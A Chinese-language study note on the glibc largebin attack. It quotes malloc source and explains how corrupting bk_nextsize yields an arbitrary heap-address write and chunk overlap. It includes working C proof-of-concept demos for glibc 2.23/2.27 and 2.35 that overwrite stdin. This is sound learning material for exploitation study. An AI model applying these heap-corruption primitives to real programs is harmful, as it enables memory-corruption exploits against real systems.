关于largebin 图片来源:[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
任意地址写入堆地址 思路 1. 需要存在uaf漏洞,也就是可以修改largebin的bcksize字段2. 需要申请足够多的堆块(用于隔离和清空unsortedbin)
原理
主要是largechunk入链的时候的漏洞,若unsortedbin中没有合适堆块,则会将unsortedbin中的堆块放到smallbin和lagerbin中。完整代码:
if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
利用点:主要集中在这几行上面,如果可以覆盖fwd的bcksize字段,那么就可以将bcksize的+0x20处的值覆盖为victim的地址,实现任意地址写堆地址的目的,可以结合iofile构造io链使用,但是在高版本的情形下已经打上了补丁malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
检查了size双向链表的完整性,使此利用方法成为历史。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;
但是下述代码没有检查,或许成为突破口。条件为,堆块在同一个bin中最小,且可以控制第一个堆块的bcksize字段,那么也可以形成上述攻击。。。。但是有可能我想错了。。。。
if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }
demo
测试攻击有效性的demo,
GLIBC2.7,不知道低版本的编译器有什么bug,编译连接之后printf有的指令需要栈对齐才能用,但是编译器没有考虑,所以就把printf注释掉了,Glibc2.23可正常使用,就不再写一遍了。
#include <stdlib.h> #include <stdio.h> int main () { setbuf(stdout ,0 ); setbuf(stderr ,0 ); void *la = malloc (0x418 ); void *junk = malloc (0x10 ); void *lb = malloc (0x428 ); void *p1 = malloc (0x100 ); free (la); malloc (0x800 ); long *value = (long *)(*((long *)la+3 )); long *tmp = (long *)la+3 ; *tmp = (long *)&stdin -4 ; free (lb); malloc (0x800 ); exit (0 ); }
GLIBC2.35,没想到这种版本居然也可以利用,只需要保证释放的堆块是最小的即可(交换la和lb的顺序),源码中已经分析过了没有检查,不知道再高的版本修复了没有。。。
#include <stdlib.h> #include <stdio.h> int main () { setbuf(stdout ,0 ); setbuf(stderr ,0 ); void *la = malloc (0x428 ); void *junk = malloc (0x10 ); void *lb = malloc (0x418 ); void *p1 = malloc (0x100 ); free (la); malloc (0x800 ); printf ("%p\n" ,la); long *value = (long *)(*((long *)la+3 )); printf ("la->bcksize = %p\n" ,value); long *tmp = (long *)la+3 ; printf ("_IO_2_1_stdin_ address = %p\n" ,stdin ); *tmp = (long *)&stdin -4 ; free (lb); malloc (0x800 ); printf ("fake _IO_2_1_stdin_ address = %p\n" ,stdin ); exit (0 ); }
实现overlap 原理 if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); if ((victim = first (bin)) != bin && (unsigned long ) chunksize_nomask (victim) >= (unsigned long ) (nb)) { victim = victim->bk_nextsize; while (((unsigned long ) (size = chunksize (victim)) < (unsigned long ) (nb))) victim = victim->bk_nextsize; if (victim != last (bin) && chunksize_nomask (victim) == chunksize_nomask (victim->fd)) victim = victim->fd; remainder_size = size - nb; unlink_chunk (av, victim); if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); } else { remainder = chunk_at_offset (victim, nb); bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("malloc(): corrupted unsorted chunks" ); remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL ; remainder->bk_nextsize = NULL ; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
利用如下语句来实现overlap
while (((unsigned long ) (size = chunksize (victim)) < (unsigned long ) (nb))) victim = victim->bk_nextsize;
也就是哥哥该bk_nextsize字段,使其指向未释放的largebin,就可以实现,在此largebin中构造fd和bk绕过unlink,并且使nextsize域为空,绕过大块如链过程,然后就可以实现unlink攻击的效果。